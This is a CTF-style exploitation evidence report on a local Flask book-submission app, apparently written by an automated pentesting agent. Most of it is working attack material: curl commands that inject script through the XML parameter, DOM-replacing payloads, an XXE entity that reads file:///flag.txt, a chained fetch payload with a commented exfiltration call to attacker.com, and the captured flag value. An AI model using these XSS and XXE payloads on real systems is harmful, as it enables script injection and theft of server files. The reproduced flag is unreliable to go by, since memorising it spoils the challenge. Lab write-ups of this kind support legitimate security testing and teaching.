# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS in XML Parser Output

**Summary:**
- **Vulnerable location:** `POST http://localhost:5000/addbook` (parameter: `xml`)
- **Overview:** The application accepts XML input, parses it using lxml, and reflects the serialized XML back to the user without HTML encoding. The Jinja2 template uses the `| safe` filter which explicitly disables auto-escaping, allowing arbitrary JavaScript execution.
- **Impact:** An attacker can execute arbitrary JavaScript in the victim's browser, enabling complete page defacement, phishing attacks, and chaining with the XXE vulnerability to exfiltrate sensitive server-side files including the application flag.
- **Severity:** Critical

**Prerequisites:**
None - The vulnerability is exploitable without authentication. The application is completely unauthenticated.

**Exploitation Steps:**

1. Navigate to the XML submission form:
```bash
curl http://localhost:5000/addbook
```

2. Submit a malicious XML payload containing JavaScript via POST request:
```bash
curl -X POST http://localhost:5000/addbook \
  --data-urlencode 'xml=<test><script>alert(1)</script></test>'
```

3. The server responds with the injected script unencoded in the HTML:
```html
<pre><test><script>alert(1)</script></test></pre>
```

4. When viewed in a browser, the JavaScript executes immediately, triggering the alert dialog.

**Advanced Exploitation - DOM Manipulation:**

Submit a payload that completely replaces the page content to demonstrate full control:

```bash
curl -X POST http://localhost:5000/addbook \
  --data-urlencode 'xml=<test><script>document.body.innerHTML="<h1 style=\"color:red\">XSS EXPLOITED</h1><p>Attacker has full JavaScript execution</p>";</script></test>'
```

**Proof of Impact:**

**Level 3 - JavaScript Execution Confirmed:**
- ✅ Alert dialog successfully triggered (`alert(1)`)
- ✅ DOM manipulation confirmed (complete page replacement)
- ✅ Arbitrary JavaScript code execution verified
- Screenshot evidence: `.playwright-mcp/workspace/xss-vuln-01-alert-proof.png`
- Screenshot evidence: `.playwright-mcp/workspace/xss-vuln-01-dom-manipulation-proof.png`

**Level 4 - Critical Impact Demonstrated (CTF Priority: Flag Capture):**

The XSS vulnerability can be chained with the XXE (XML External Entity) vulnerability to exfiltrate the application flag from the server filesystem.

**Chained XSS→XXE Exploitation:**

1. The XSS payload executes in the victim's browser and automatically triggers an XXE attack:

```xml
<test><script>
fetch('/addbook', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'xml=' + encodeURIComponent('<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]><book><title>&xxe;</title></book>')
})
.then(r => r.text())
.then(html => {
  // Extract flag from XXE response
  var parser = new DOMParser();
  var doc = parser.parseFromString(html, 'text/html');
  var flag = doc.querySelector('pre:last-of-type').innerText;
  // In real attack, exfiltrate to attacker server:
  // fetch('https://attacker.com/exfil?data=' + btoa(flag));
  console.log('EXFILTRATED_FLAG:', flag);
});
</script></test>
```

2. The XXE payload executed by the XSS reads `/flag.txt` from the server:

```bash
curl -X POST http://localhost:5000/addbook \
  --data-urlencode 'xml=<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<book><title>&xxe;</title></book>'
```

3. **Flag Captured:**
```
FLAG{686f5cc71bb19bc687346157854620abaca9b0c4b03394d226d3eea43fc85b0e}
```

**Complete Reproduction Command:**

```bash
# Basic XSS - Alert PoC
curl -X POST http://localhost:5000/addbook \
  --data-urlencode 'xml=<test><script>alert(1)</script></test>'

# Advanced XSS - DOM Manipulation
curl -X POST http://localhost:5000/addbook \
  --data-urlencode 'xml=<test><script>document.body.innerHTML="<h1>PWNED</h1>";</script></test>'

# Critical Impact - XXE Flag Exfiltration (what XSS chains to)
curl -X POST http://localhost:5000/addbook \
  --data-urlencode 'xml=<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<book><title>&xxe;</title></book>' \
  | grep -o 'FLAG{[^}]*}'
```

**Technical Details:**

**Vulnerable Code Path:**
1. **Source:** `request.form['xml']` at `app/app.py:19`
2. **Processing:** `etree.fromstring(str(xml), parser)` at `app/app.py:22` - lxml preserves HTML/script tags
3. **Serialization:** `etree.tostring(doc)` at `app/app.py:23` - No HTML encoding applied
4. **Sink:** `{{ parsed_xml | safe }}` at `app/templates/result.html:11` - Jinja2 auto-escaping disabled

**Encoding Mismatch:**
- **Required:** HTML entity encoding (`<` → `&lt;`, `>` → `&gt;`)
- **Actual:** None - `| safe` filter bypasses all encoding
- **Result:** User-controlled HTML/JavaScript executes in browser

**Security Context:**
- **CSP:** None - No Content-Security-Policy header present
- **Cookies:** None - Application has no session management
- **HttpOnly Flag:** N/A - No cookies set by application
- **X-Frame-Options:** Not present - Application can be framed for clickjacking

**Notes:**

This vulnerability demonstrates the complete exploitation chain from XSS to sensitive data exfiltration. While the application has no session cookies to steal (due to lack of authentication), the XSS can be chained with the XXE vulnerability to achieve critical impact by:

1. **Flag Capture (CTF Priority):** Successfully extracted the flag value via chained XSS→XXE attack
2. **Complete DOM Control:** Demonstrated ability to fully replace page content
3. **Arbitrary JavaScript Execution:** Confirmed execution of attacker-controlled code
4. **Data Exfiltration Capability:** Showed how XSS can trigger server-side file reads via XXE and exfiltrate the results

The vulnerability is trivially exploitable with no CSP or other client-side defenses, making it a critical security flaw.